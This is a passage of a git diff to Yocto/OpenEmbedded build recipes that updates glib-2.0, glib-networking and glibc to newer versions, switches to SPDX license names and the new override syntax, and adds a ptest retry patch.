- file://0001-Set-host_machine-correctly-when-building-with-mingw3.patch \
- file://0001-Do-not-write-bindir-into-pkg-config-files.patch \
- file://0001-meson-Run-atomics-test-on-clang-as-well.patch \
- file://0001-gio-tests-resources.c-comment-out-a-build-host-only-.patch \
- "
-
-SRC_URI_append_class-native = " file://relocate-modules.patch"
-
-SRC_URI[md5sum] = "0a4f67e9a9d729976e2f797e36fc1a57"
-SRC_URI[sha256sum] = "f7e0b325b272281f0462e0f7fff25a833820cac19911ff677251daf6d87bce50"
-
-# Find any meson cross files in FILESPATH that are relevant for the current
-# build (using siteinfo) and add them to EXTRA_OEMESON.
-inherit siteinfo
-def find_meson_cross_files(d):
- if bb.data.inherits_class('native', d):
- return ""
-
- corebase = d.getVar("COREBASE")
- import collections
- sitedata = siteinfo_data(d)
- # filename -> found
- files = collections.OrderedDict()
- for path in d.getVar("FILESPATH").split(":"):
- for element in sitedata:
- filename = os.path.normpath(os.path.join(path, "meson.cross.d", element))
- files[filename.replace(corebase, "${COREBASE}")] = os.path.exists(filename)
-
- items = ["--cross-file=" + k for k,v in files.items() if v]
- d.appendVar("EXTRA_OEMESON", " " + " ".join(items))
- items = ["%s:%s" % (k, "True" if v else "False") for k,v in files.items()]
- d.appendVarFlag("do_configure", "file-checksums", " " + " ".join(items))
-
-python () {
- find_meson_cross_files(d)
-}
diff --git a/meta/recipes-core/glib-2.0/glib-2.0_2.78.4.bb b/meta/recipes-core/glib-2.0/glib-2.0_2.78.4.bb
new file mode 100644
index 0000000000..b1669ead75
--- /dev/null
+++ b/meta/recipes-core/glib-2.0/glib-2.0_2.78.4.bb
@@ -0,0 +1,57 @@
+require glib.inc
+
+PE = "1"
+
+SHRT_VER = "${@oe.utils.trim_version("${PV}", 2)}"
+
+SRC_URI = "${GNOME_MIRROR}/glib/${SHRT_VER}/glib-${PV}.tar.xz \
+ file://run-ptest \
+ file://0001-Fix-DATADIRNAME-on-uclibc-Linux.patch \
+ file://0001-Remove-the-warning-about-deprecated-paths-in-schemas.patch \
+ file://0001-Install-gio-querymodules-as-libexec_PROGRAM.patch \
+ file://0010-Do-not-hardcode-python-path-into-various-tools.patch \
+ file://0001-Set-host_machine-correctly-when-building-with-mingw3.patch \
+ file://0001-Do-not-write-bindir-into-pkg-config-files.patch \
+ file://0001-meson-Run-atomics-test-on-clang-as-well.patch \
+ file://0001-gio-tests-resources.c-comment-out-a-build-host-only-.patch \
+ file://0001-Switch-from-the-deprecated-distutils-module-to-the-p.patch \
+ file://memory-monitor.patch \
+ file://fix-regex.patch \
+ file://skip-timeout.patch \
+ "
+SRC_URI:append:class-native = " file://relocate-modules.patch \
+ file://0001-meson.build-do-not-enable-pidfd-features-on-native-g.patch \
+ "
+
+SRC_URI[sha256sum] = "24b8e0672dca120cc32d394bccb85844e732e04fe75d18bb0573b2dbc7548f63"
+
+# Find any meson cross files in FILESPATH that are relevant for the current
+# build (using siteinfo) and add them to EXTRA_OEMESON.
+inherit siteinfo
+def find_meson_cross_files(d):
+ if bb.data.inherits_class('native', d):
+ return ""
+
+ thisdir = os.path.normpath(d.getVar("THISDIR"))
+ import collections
+ sitedata = siteinfo_data(d)
+ # filename -> found
+ files = collections.OrderedDict()
+ for path in d.getVar("FILESPATH").split(":"):
+ for element in sitedata:
+ filename = os.path.normpath(os.path.join(path, "meson.cross.d", element))
+ sanitized_path = filename.replace(thisdir, "${THISDIR}")
+ if sanitized_path == filename:
+ if os.path.exists(filename):
+ bb.error("Cannot add '%s' to --cross-file, because it's not relative to THISDIR '%s' and sstate signature would contain this full path" % (filename, thisdir))
+ continue
+ files[filename.replace(thisdir, "${THISDIR}")] = os.path.exists(filename)
+
+ items = ["--cross-file=" + k for k,v in files.items() if v]
+ d.appendVar("EXTRA_OEMESON", " " + " ".join(items))
+ items = ["%s:%s" % (k, "True" if v else "False") for k,v in files.items()]
+ d.appendVarFlag("do_configure", "file-checksums", " " + " ".join(items))
+
+python () {
+ find_meson_cross_files(d)
+}
diff --git a/meta/recipes-core/glib-2.0/glib.inc b/meta/recipes-core/glib-2.0/glib.inc
index a0055d81b0..fac8875d84 100644
--- a/meta/recipes-core/glib-2.0/glib.inc
+++ b/meta/recipes-core/glib-2.0/glib.inc
@@ -4,12 +4,11 @@ HOMEPAGE = "https://developer.gnome.org/glib/"
# pcre is under BSD;
# docs/reference/COPYING is with a 'public domain'-like license!
-LICENSE = "LGPLv2.1+ & BSD & PD"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c \
- file://glib/glib.h;beginline=4;endline=17;md5=b88abb7f3ad09607e71cb9d530155906 \
- file://gmodule/COPYING;md5=4fbd65380cdd255951079008b364516c \
- file://gmodule/gmodule.h;beginline=4;endline=17;md5=b88abb7f3ad09607e71cb9d530155906 \
- file://glib/pcre/pcre.h;beginline=8;endline=36;md5=3e2977dae4ad05217f58c446237298fc \
+LICENSE = "LGPL-2.1-or-later & BSD-3-Clause & PD"
+LIC_FILES_CHKSUM = "file://COPYING;md5=41890f71f740302b785c27661123bff5 \
+ file://glib/glib.h;beginline=4;endline=17;md5=72f7cc2847407f65d8981ef112e4e630 \
+ file://LICENSES/LGPL-2.1-or-later.txt;md5=41890f71f740302b785c27661123bff5 \
+ file://gmodule/gmodule.h;beginline=4;endline=17;md5=72f7cc2847407f65d8981ef112e4e630 \
file://docs/reference/COPYING;md5=f51a5100c17af6bae00735cd791e1fcc"
BUGTRACKER = "http://bugzilla.gnome.org"
SECTION = "libs"
@@ -22,85 +21,75 @@ DEPENDS = "glib-2.0-native \
virtual/libintl \
virtual/libiconv \
libffi \
+ libpcre2 \
zlib"
PACKAGES += "${PN}-codegen ${PN}-utils"
LEAD_SONAME = "libglib-2.0.*"
-inherit meson gettext gtk-doc pkgconfig ptest-gnome upstream-version-is-even bash-completion gio-module-cache manpages
-
-DEPENDS_append_class-target = "${@' gtk-doc' if d.getVar('GTKDOC_ENABLED') == 'True' else ''}"
+inherit meson gettext gtk-doc pkgconfig ptest-gnome upstream-version-is-even bash-completion gio-module-cache manpages gobject-introspection-data
GTKDOC_MESON_OPTION = "gtk_doc"
-# This avoids the need to depend on target python3, which in case of mingw is not even possible.
-# meson's python configuration pokes into python3 configuration, so this provides the native config to it.
-unset _PYTHON_SYSCONFIGDATA_NAME
-
S = "${WORKDIR}/glib-${PV}"
-PACKAGECONFIG ??= "system-pcre libmount \
+PACKAGECONFIG ??= "libmount \
${@bb.utils.contains('PTEST_ENABLED', '1', 'tests', '', d)}"
-# To use the system pcre it must be configured with --enable-unicode-properties
-PACKAGECONFIG[system-pcre] = "-Dinternal_pcre=false,-Dinternal_pcre=true,libpcre"
PACKAGECONFIG[libmount] = "-Dlibmount=enabled,-Dlibmount=disabled,util-linux"
PACKAGECONFIG[manpages] = "-Dman=true, -Dman=false, libxslt-native xmlto-native"
-# libelf is auto-detected without a configuration option
-PACKAGECONFIG[libelf] = ",,elfutils"
-PACKAGECONFIG[tests] = "-Dinstalled_tests=true,-Dinstalled_tests=false,dbus"
+PACKAGECONFIG[libelf] = "-Dlibelf=enabled,-Dlibelf=disabled,elfutils"
+PACKAGECONFIG[tests] = "-Dinstalled_tests=true,-Dinstalled_tests=false,"
+PACKAGECONFIG[selinux] = "-Dselinux=enabled,-Dselinux=disabled,libselinux"
-EXTRA_OEMESON = "-Ddtrace=false -Dfam=false -Dsystemtap=false -Dselinux=disabled"
+EXTRA_OEMESON = "-Ddtrace=false -Dsystemtap=false"
-do_configure_prepend() {
+do_configure:prepend() {
sed -i -e '1s,#!.*,#!${USRBINPATH}/env python3,' ${S}/gio/gdbus-2.0/codegen/gdbus-codegen.in
}
-FILES_${PN} = "${libdir}/lib*${SOLIBS} \
+FILES:${PN} = "${libdir}/lib*${SOLIBS} \
${libdir}/gio \
${libexecdir}/*gio-querymodules \
+ ${libexecdir}/*gio-launch-desktop \
+ ${datadir}/glib-2.0/dtds \
${datadir}/glib-2.0/schemas"
-FILES_${PN}-utils += "${bindir}/glib-genmarshal \
- ${bindir}/glib-gettextize \
- ${bindir}/glib-mkenums \
- ${bindir}/glib-compile-resources"
-
-FILES_${PN}-dev += "${libdir}/glib-2.0/include \
+FILES:${PN}-dev += "${libdir}/glib-2.0/include \
${libdir}/gio/modules/lib*${SOLIBSDEV} \
${libdir}/gio/modules/*.la \
${datadir}/glib-2.0/gettext/po/Makefile.in.in \
${datadir}/glib-2.0/schemas/gschema.dtd \
${datadir}/glib-2.0/valgrind/glib.supp \
${datadir}/gettext/its"
-FILES_${PN}-dbg += "${datadir}/glib-2.0/gdb ${datadir}/gdb"
-FILES_${PN}-codegen = "${datadir}/glib-2.0/codegen/*.py \
+FILES:${PN}-dbg += "${datadir}/glib-2.0/gdb ${datadir}/gdb"
+FILES:${PN}-codegen = "${datadir}/glib-2.0/codegen/*.py \
${bindir}/gdbus-codegen"
-FILES_${PN}-utils = "${bindir}/*"
+FILES:${PN}-utils = "${bindir}/*"
SHAREDMIMEDEP = "shared-mime-info"
-SHAREDMIMEDEP_class-native = ""
+SHAREDMIMEDEP:class-native = ""
# When cross compiling for Windows we don't want to include this
-SHAREDMIMEDEP_mingw32 = ""
+SHAREDMIMEDEP:mingw32 = ""
-RRECOMMENDS_${PN} += "${SHAREDMIMEDEP}"
+RRECOMMENDS:${PN} += "${SHAREDMIMEDEP}"
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
# Valgrind runtime detection works using hand-written assembly, which
# doesn't support mips16e
-CPPFLAGS_append_class-target_mips16e = " -DNVALGRIND=1"
+CPPFLAGS:append:class-target:mips16e = " -DNVALGRIND=1"
# GLib generally requires gettext to be present so for USE_NLS to yes. For
# native builds as i18n is disabled globally we have to add a gettext-native dependency.
-USE_NLS_class-target = "yes"
-USE_NLS_class-nativesdk = "yes"
-DEPENDS_append_class-native = " gettext-native"
+USE_NLS:class-target = "yes"
+USE_NLS:class-nativesdk = "yes"
+DEPENDS:append:class-native = " gettext-native"
EXEEXT = ""
-EXEEXT_mingw32 = ".exe"
+EXEEXT:mingw32 = ".exe"
-do_install_append () {
+do_install:append () {
if [ -f ${D}${bindir}/gtester-report ]; then
sed ${D}${bindir}/gtester-report -i -e '1s|^#!.*|#!/usr/bin/env python3|'
fi
@@ -122,7 +111,12 @@ do_install_append () {
mkdir -p ${D}${libdir}/gio/modules
}
-do_install_append_class-target () {
+do_install:append:class-native () {
+ # Link gio-querymodules into ${bindir} as otherwise tools like meson won't find it
+ ln -rs ${D}${libexecdir}/gio-querymodules ${D}${bindir}
+}
+
+do_install:append:class-target () {
# Tests are only installed on targets, not native builds. Separating this out
# keeps glib-2.0-native from depending on DISTRO_FEATURES
if [ -f ${D}${datadir}/installed-tests/glib/gdbus-serialization.test ]; then
@@ -135,24 +129,33 @@ do_install_append_class-target () {
mv ${D}${datadir}/installed-tests/glib/static-link.test ${D}${datadir}/installed-tests/glib/${MLPREFIX}static-link.test
fi
fi
+ # https://gitlab.gnome.org/GNOME/glib/-/issues/2810
+ rm -f ${D}${datadir}/installed-tests/glib/thread-pool-slow.test
+}
+do_install:append:class-target:libc-musl () {
+ # Remove failing tests on musl libc systems, this helps set baseline for musl testing
+ # they remain to be rootcaused and fixed but marked known failures here.
+ for t in convert.test collate.test gdatetime.test date.test converter-stream.test option-context.test; do
+ rm -rf ${D}${datadir}/installed-tests/glib/$t
+ done
}
-
# As we do not build python3 for windows, makes no sense to ship the script that's using it
-do_install_append_mingw32() {
+do_install:append:mingw32() {
rm -f ${D}${bindir}/gtester-report
}
-CODEGEN_PYTHON_RDEPENDS = "python3 python3-distutils python3-xml"
-CODEGEN_PYTHON_RDEPENDS_mingw32 = ""
+CODEGEN_PYTHON_RDEPENDS = "python3 python3-packaging python3-xml"
+CODEGEN_PYTHON_RDEPENDS:mingw32 = ""
-RDEPENDS_${PN}-codegen += "${CODEGEN_PYTHON_RDEPENDS}"
+RDEPENDS:${PN}-codegen += "${CODEGEN_PYTHON_RDEPENDS}"
-RDEPENDS_${PN}-ptest += "${PN}-utils"
+RDEPENDS:${PN}-ptest += "${PN}-utils"
-RDEPENDS_${PN}-ptest += "\
+RDEPENDS:${PN}-ptest += "\
coreutils \
libgcc \
dbus \
+ desktop-file-utils \
gnome-desktop-testing \
tzdata \
tzdata-americas \
@@ -170,11 +173,17 @@ RDEPENDS_${PN}-ptest += "\
${PN}-locale-th \
python3-core \
python3-modules \
- python3-dbusmock \
+ ${@bb.utils.contains('GI_DATA_ENABLED', 'True', 'python3-dbusmock', '', d)} \
${PN}-codegen \
+ locale-base-de-de \
+ locale-base-es-es \
+ locale-base-en-gb \
+ locale-base-en-us \
+ locale-base-fr-fr \
+ locale-base-ru-ru \
"
-RDEPENDS_${PN}-ptest_append_libc-glibc = "\
+RDEPENDS:${PN}-ptest:append:libc-glibc = "\
glibc-gconv-utf-16 \
glibc-charmap-utf-8 \
glibc-gconv-cp1255 \
@@ -186,18 +195,12 @@ RDEPENDS_${PN}-ptest_append_libc-glibc = "\
glibc-gconv-iso8859-15 \
glibc-charmap-invariant \
glibc-localedata-translit-cjk-variants \
- locale-base-tr-tr \
locale-base-lt-lt \
locale-base-ja-jp.euc-jp \
locale-base-fa-ir \
- locale-base-ru-ru \
- locale-base-de-de \
locale-base-hr-hr \
locale-base-el-gr \
- locale-base-fr-fr \
- locale-base-es-es \
- locale-base-en-gb \
- locale-base-en-us \
locale-base-pl-pl \
locale-base-pl-pl.iso-8859-2 \
+ locale-base-tr-tr \
"
diff --git a/meta/recipes-core/glib-networking/glib-networking/eagain.patch b/meta/recipes-core/glib-networking/glib-networking/eagain.patch
new file mode 100644
index 0000000000..6c2e3c634b
--- /dev/null
+++ b/meta/recipes-core/glib-networking/glib-networking/eagain.patch
@@ -0,0 +1,36 @@
+From 5604707bed4b4a4bc4658c7158a18c1774775775 Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Sat, 6 May 2023 12:18:50 +0100
+Subject: [PATCH] In autobuilder testing we regularly see glib-networking ptest
+ fail with:
+
+GLib-Net:ERROR:/usr/src/debug/glib-networking/2.74.0-r0/tls/tests/connection.c:1944:simul_read_thread: assertion failed (error == NULL): Resource temporarily unavailable (g-io-error-quark, 27)
+Bail out! GLib-Net:ERROR:/usr/src/debug/glib-networking/2.74.0-r0/tls/tests/connection.c:1944:simul_read_thread: assertion failed (error == NULL): Resource temporarily unavailable (g-io-error-quark, 27)
+FAIL: glib-networking/connection-openssl.test (Child process killed by signal 6)
+SUMMARY: total=4; passed=3; skipped=0; failed=1; user=0.9s; system=0.4s; maxrss=10708
+FAIL: glib-networking/connection-openssl.test (Child process killed by signal 6)
+
+The test should probably retry in this situation so test a patch which does this.
+
+Upstream-Status: Pending [testing to see if patch resolves the issue]
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+---
+ tls/tests/connection.c | 4 ++++
+ 1 file changed, 4 insertions(+)
+
+diff --git a/tls/tests/connection.c b/tls/tests/connection.c
+index 62a7fbb..3447c80 100644
+--- a/tls/tests/connection.c
++++ b/tls/tests/connection.c
+@@ -2210,6 +2210,10 @@ simul_read_thread (gpointer user_data)
+ test->buf + test->nread,
+ MIN (TEST_DATA_LENGTH / 2, TEST_DATA_LENGTH - test->nread),
+ NULL, &error);
++
++ if (g_error_matches (error, G_IO_ERROR, G_IO_ERROR_WOULD_BLOCK))
++ continue;
++
+ g_assert_no_error (error);
+
+ test->nread += nread;
diff --git a/meta/recipes-core/glib-networking/glib-networking/run-ptest b/meta/recipes-core/glib-networking/glib-networking/run-ptest
new file mode 100644
index 0000000000..6d520f94f6
--- /dev/null
+++ b/meta/recipes-core/glib-networking/glib-networking/run-ptest
@@ -0,0 +1,3 @@
+#! /bin/sh
+
+gnome-desktop-testing-runner glib-networking
diff --git a/meta/recipes-core/glib-networking/glib-networking_2.64.3.bb b/meta/recipes-core/glib-networking/glib-networking_2.64.3.bb
deleted file mode 100644
index c34ae508f6..0000000000
--- a/meta/recipes-core/glib-networking/glib-networking_2.64.3.bb
+++ /dev/null
@@ -1,34 +0,0 @@
-SUMMARY = "GLib networking extensions"
-DESCRIPTION = "glib-networking contains the implementations of certain GLib networking features that cannot be implemented directly in GLib itself because of their dependencies."
-HOMEPAGE = "https://gitlab.gnome.org/GNOME/glib-networking/"
-BUGTRACKER = "http://bugzilla.gnome.org"
-
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-
-SECTION = "libs"
-DEPENDS = "glib-2.0"
-
-SRC_URI[archive.md5sum] = "eb382907ec941fe2fb1a9676b75acf7a"
-SRC_URI[archive.sha256sum] = "937a06b124052813bfc0b0b86bff42016ff01067582e1aca65bb6dbe0845a168"
-
-PACKAGECONFIG ??= "gnutls"
-
-PACKAGECONFIG[gnutls] = "-Dgnutls=enabled,-Dgnutls=disabled,gnutls"
-PACKAGECONFIG[openssl] = "-Dopenssl=enabled,-Dopenssl=disabled,openssl"
-PACKAGECONFIG[libproxy] = "-Dlibproxy=enabled,-Dlibproxy=disabled,libproxy"
-
-EXTRA_OEMESON = "-Dgnome_proxy=disabled"
-
-GNOMEBASEBUILDCLASS = "meson"
-inherit gnomebase gettext upstream-version-is-even gio-module-cache
-
-FILES_${PN} += "\
- ${libdir}/gio/modules/libgio*.so \
- ${datadir}/dbus-1/services/ \
- ${systemd_user_unitdir} \
- "
-FILES_${PN}-dev += "${libdir}/gio/modules/libgio*.la"
-FILES_${PN}-staticdev += "${libdir}/gio/modules/libgio*.a"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-core/glib-networking/glib-networking_2.78.1.bb b/meta/recipes-core/glib-networking/glib-networking_2.78.1.bb
new file mode 100644
index 0000000000..5060d9fd7a
--- /dev/null
+++ b/meta/recipes-core/glib-networking/glib-networking_2.78.1.bb
@@ -0,0 +1,45 @@
+SUMMARY = "GLib networking extensions"
+DESCRIPTION = "glib-networking contains the implementations of certain GLib networking features that cannot be implemented directly in GLib itself because of their dependencies."
+HOMEPAGE = "https://gitlab.gnome.org/GNOME/glib-networking/"
+BUGTRACKER = "http://bugzilla.gnome.org"
+
+LICENSE = "LGPL-2.1-or-later"
+LICENSE:append = "${@bb.utils.contains('PACKAGECONFIG', 'openssl', ' & Glib-Networking-OpenSSL-Exception', '', d)}"
+NO_GENERIC_LICENSE[Glib-Networking-OpenSSL-Exception] = "LICENSE_EXCEPTION"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c \
+ file://LICENSE_EXCEPTION;md5=0f5be697951b5e71aff00f4a4ce66be8 \
+ file://tls/base/gtlsconnection-base.c;beginline=7;endline=22;md5=ab641ac307f3337811008ea9afe7059f"
+
+SECTION = "libs"
+DEPENDS = "glib-2.0-native glib-2.0"
+
+SRC_URI[archive.sha256sum] = "e48f2ddbb049832cbb09230529c5e45daca9f0df0eda325f832f7379859bf09f"
+
+# Upstream note that for the openssl backend, half the tests where this backend don't return
+# the expected error code or don't work as expected so default to gnutls
+PACKAGECONFIG ??= "gnutls environment ${@bb.utils.contains('PTEST_ENABLED', '1', 'tests', '', d)}"
+
+PACKAGECONFIG[gnutls] = "-Dgnutls=enabled,-Dgnutls=disabled,gnutls"
+PACKAGECONFIG[openssl] = "-Dopenssl=enabled,-Dopenssl=disabled,openssl"
+PACKAGECONFIG[environment] = "-Denvironment_proxy=enabled,-Denvironment_proxy=disabled"
+PACKAGECONFIG[libproxy] = "-Dlibproxy=enabled,-Dlibproxy=disabled,libproxy"
+PACKAGECONFIG[tests] = "-Dinstalled_tests=true,-Dinstalled_tests=false"
+PACKAGECONFIG[gnomeproxy] = "-Dgnome_proxy=enabled,-Dgnome_proxy=disabled,gsettings-desktop-schemas"
+
+inherit gnomebase gettext upstream-version-is-even gio-module-cache ptest-gnome
+
+SRC_URI += "file://run-ptest"
+SRC_URI += "file://eagain.patch"
+
+FILES:${PN} += "\
+ ${libdir}/gio/modules/libgio*.so \
+ ${datadir}/dbus-1/services/ \
+ ${systemd_user_unitdir} \
+ "
+FILES:${PN}-dev += "${libdir}/gio/modules/libgio*.la"
+FILES:${PN}-staticdev += "${libdir}/gio/modules/libgio*.a"
+
+RDEPENDS:${PN}-ptest += "bash"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-core/glibc/cross-localedef-native_2.32.bb b/meta/recipes-core/glibc/cross-localedef-native_2.32.bb
deleted file mode 100644
index 5a0abbb70f..0000000000
--- a/meta/recipes-core/glibc/cross-localedef-native_2.32.bb
+++ /dev/null
@@ -1,50 +0,0 @@
-SUMMARY = "Cross locale generation tool for glibc"
-HOMEPAGE = "http://www.gnu.org/software/libc/libc.html"
-SECTION = "libs"
-LICENSE = "LGPL-2.1"
-
-LIC_FILES_CHKSUM = "file://LICENSES;md5=1541fd8f5e8f1579512bf05f533371ba \
- file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://posix/rxspencer/COPYRIGHT;md5=dc5485bb394a13b2332ec1c785f5d83a \
- file://COPYING.LIB;md5=4fbd65380cdd255951079008b364516c"
-
-require glibc-version.inc
-
-# Tell autotools that we're working in the localedef directory
-#
-AUTOTOOLS_SCRIPT_PATH = "${S}/localedef"
-
-inherit native
-inherit autotools
-
-FILESEXTRAPATHS =. "${FILE_DIRNAME}/${PN}:${FILE_DIRNAME}/glibc:"
-
-SRC_URI = "${GLIBC_GIT_URI};branch=${SRCBRANCH};name=glibc \
- git://github.com/kraj/localedef;branch=master;name=localedef;destsuffix=git/localedef \
- \
- file://0001-localedef-Add-hardlink-resolver-from-util-linux.patch \
- file://0002-localedef-fix-ups-hardlink-to-make-it-compile.patch \
- \
- file://0016-timezone-re-written-tzselect-as-posix-sh.patch \
- file://0017-Remove-bash-dependency-for-nscd-init-script.patch \
- file://0018-eglibc-Cross-building-and-testing-instructions.patch \
- file://0019-eglibc-Help-bootstrap-cross-toolchain.patch \
- file://0020-eglibc-Resolve-__fpscr_values-on-SH4.patch \
- file://0021-eglibc-Forward-port-cross-locale-generation-support.patch \
- file://0022-Define-DUMMY_LOCALE_T-if-not-defined.patch \
- file://0023-localedef-add-to-archive-uses-a-hard-coded-locale-pa.patch \
-"
-# Makes for a rather long rev (22 characters), but...
-#
-SRCREV_FORMAT = "glibc_localedef"
-
-S = "${WORKDIR}/git"
-
-EXTRA_OECONF = "--with-glibc=${S}"
-CFLAGS += "-fgnu89-inline -std=gnu99 -DIS_IN\(x\)='0'"
-
-do_install() {
- install -d ${D}${bindir}
- install -m 0755 ${B}/localedef ${D}${bindir}/cross-localedef
- install -m 0755 ${B}/cross-localedef-hardlink ${D}${bindir}/cross-localedef-hardlink
-}
diff --git a/meta/recipes-core/glibc/cross-localedef-native_2.39.bb b/meta/recipes-core/glibc/cross-localedef-native_2.39.bb
new file mode 100644
index 0000000000..fed6e4ea97
--- /dev/null
+++ b/meta/recipes-core/glibc/cross-localedef-native_2.39.bb
@@ -0,0 +1,54 @@
+SUMMARY = "Cross locale generation tool for glibc"
+HOMEPAGE = "http://www.gnu.org/software/libc/libc.html"
+SECTION = "libs"
+LICENSE = "LGPL-2.1-only"
+
+LIC_FILES_CHKSUM = "file://LICENSES;md5=f77e878d320e99e94ae9a4aea7f491d1 \
+ file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://posix/rxspencer/COPYRIGHT;md5=dc5485bb394a13b2332ec1c785f5d83a \
+ file://COPYING.LIB;md5=4fbd65380cdd255951079008b364516c"
+
+require glibc-version.inc
+
+# Tell autotools that we're working in the localedef directory
+#
+AUTOTOOLS_SCRIPT_PATH = "${S}/localedef"
+
+inherit autotools
+inherit native
+
+FILESEXTRAPATHS =. "${FILE_DIRNAME}/${PN}:${FILE_DIRNAME}/glibc:"
+
+SRC_URI = "${GLIBC_GIT_URI};branch=${SRCBRANCH};name=glibc \
+ git://github.com/kraj/localedef;branch=master;name=localedef;destsuffix=git/localedef;protocol=https \
+ \
+ file://0001-localedef-Add-hardlink-resolver-from-util-linux.patch \
+ file://0002-localedef-fix-ups-hardlink-to-make-it-compile.patch \
+ \
+ file://0010-eglibc-Cross-building-and-testing-instructions.patch \
+ file://0011-eglibc-Help-bootstrap-cross-toolchain.patch \
+ file://0012-eglibc-Resolve-__fpscr_values-on-SH4.patch \
+ file://0013-eglibc-Forward-port-cross-locale-generation-support.patch \
+ file://0014-localedef-add-to-archive-uses-a-hard-coded-locale-pa.patch \
+ file://0017-Replace-echo-with-printf-builtin-in-nscd-init-script.patch \
+ file://0019-timezone-Make-shell-interpreter-overridable-in-tzsel.patch \
+ "
+# Makes for a rather long rev (22 characters), but...
+#
+SRCREV_FORMAT = "glibc_localedef"
+
+S = "${WORKDIR}/git"
+
+EXTRA_OECONF = "--with-glibc=${S}"
+
+# We do not need bash to run tzselect script, the default is to use
+# bash but it can be configured by setting KSHELL Makefile variable
+EXTRA_OEMAKE += "KSHELL=/bin/sh"
+
+CFLAGS += "-fgnu89-inline -std=gnu99 -DIS_IN\(x\)='0'"
+
+do_install() {
+ install -d ${D}${bindir}
+ install -m 0755 ${B}/localedef ${D}${bindir}/cross-localedef
+ install -m 0755 ${B}/cross-localedef-hardlink ${D}${bindir}/cross-localedef-hardlink
+}
diff --git a/meta/recipes-core/glibc/glibc-collateral.inc b/meta/recipes-core/glibc/glibc-collateral.inc
index 52880791a7..4f81f07da7 100644
--- a/meta/recipes-core/glibc/glibc-collateral.inc
+++ b/meta/recipes-core/glibc/glibc-collateral.inc
@@ -1,7 +1,7 @@
require glibc-common.inc
-LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/GPL-2.0;md5=801f80980d171dd6425610833a22dbe6 \
- file://${COMMON_LICENSE_DIR}/LGPL-2.1;md5=1a6d268fd218675ffea8be556788b780"
+LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/GPL-2.0-only;md5=801f80980d171dd6425610833a22dbe6 \
+ file://${COMMON_LICENSE_DIR}/LGPL-2.1-only;md5=1a6d268fd218675ffea8be556788b780"
deltask do_fetch
deltask do_unpack
diff --git a/meta/recipes-core/glibc/glibc-common.inc b/meta/recipes-core/glibc/glibc-common.inc
index 027c700998..b9516e77f0 100644
--- a/meta/recipes-core/glibc/glibc-common.inc
+++ b/meta/recipes-core/glibc/glibc-common.inc
@@ -2,9 +2,9 @@ SUMMARY = "GLIBC (GNU C Library)"
DESCRIPTION = "The GNU C Library is used as the system C library in most systems with the Linux kernel."
HOMEPAGE = "http://www.gnu.org/software/libc/libc.html"
SECTION = "libs"
-LICENSE = "GPLv2 & LGPLv2.1"
+LICENSE = "GPL-2.0-only & LGPL-2.1-only"
-LIC_FILES_CHKSUM ?= "file://LICENSES;md5=1541fd8f5e8f1579512bf05f533371ba \
+LIC_FILES_CHKSUM ?= "file://LICENSES;md5=f77e878d320e99e94ae9a4aea7f491d1 \
file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
file://posix/rxspencer/COPYRIGHT;md5=dc5485bb394a13b2332ec1c785f5d83a \
file://COPYING.LIB;md5=4fbd65380cdd255951079008b364516c"
@@ -13,13 +13,13 @@ CVE_PRODUCT = "glibc"
INHIBIT_DEFAULT_DEPS = "1"
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-ARM_INSTRUCTION_SET_armv6 = "arm"
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+ARM_INSTRUCTION_SET:armv6 = "arm"
#
# We will skip parsing glibc when target system C library selection is not glibc
# this helps in easing out parsing for non-glibc system libraries
#
-COMPATIBLE_HOST_libc-musl_class-target = "null"
+COMPATIBLE_HOST:libc-musl:class-target = "null"
-PV = "2.32"
+PV = "2.39+git"
diff --git a/meta/recipes-core/glibc/glibc-ld.inc b/meta/recipes-core/glibc/glibc-ld.inc
index 041ffbb9cb..da8fcc430b 100644
--- a/meta/recipes-core/glibc/glibc-ld.inc
+++ b/meta/recipes-core/glibc/glibc-ld.inc
@@ -16,5 +16,5 @@ def glibc_dl_info(d):
EGLIBC_KNOWN_INTERPRETER_NAMES = "${@glibc_dl_info(d)['ldconfig']}"
RTLDLIST = "${@glibc_dl_info(d)['lddrewrite']}"
-RTLDLIST_class-nativesdk = "${base_libdir}/${@bb.utils.contains('SDK_ARCH', 'x86_64', 'ld-linux-x86-64.so.2', 'ld-linux.so.2', d)}"
+RTLDLIST:class-nativesdk = "${base_libdir}/${@bb.utils.contains('SDK_ARCH', 'x86_64', 'ld-linux-x86-64.so.2', 'ld-linux.so.2', d)}"
glibc_dl_info[vardepsexclude] = "OVERRIDES"
diff --git a/meta/recipes-core/glibc/glibc-locale.inc b/meta/recipes-core/glibc/glibc-locale.inc
index ef06389ff9..c63c9edd76 100644
--- a/meta/recipes-core/glibc/glibc-locale.inc
+++ b/meta/recipes-core/glibc/glibc-locale.inc
@@ -5,14 +5,9 @@ SUMMARY = "Locale data from glibc"
BPN = "glibc"
LOCALEBASEPN = "${MLPREFIX}glibc"
-# glibc-collateral.inc inhibits all default deps, but do_package needs objcopy
-# ERROR: objcopy failed with exit code 127 (cmd was 'i586-webos-linux-objcopy' --only-keep-debug 'glibc-locale/2.17-r0/package/usr/lib/gconv/IBM1166.so' 'glibc-locale/2.17-r0/package/usr/lib/gconv/.debug/IBM1166.so')
-# ERROR: Function failed: split_and_strip_files
-BINUTILSDEP = "virtual/${MLPREFIX}${TARGET_PREFIX}binutils:do_populate_sysroot"
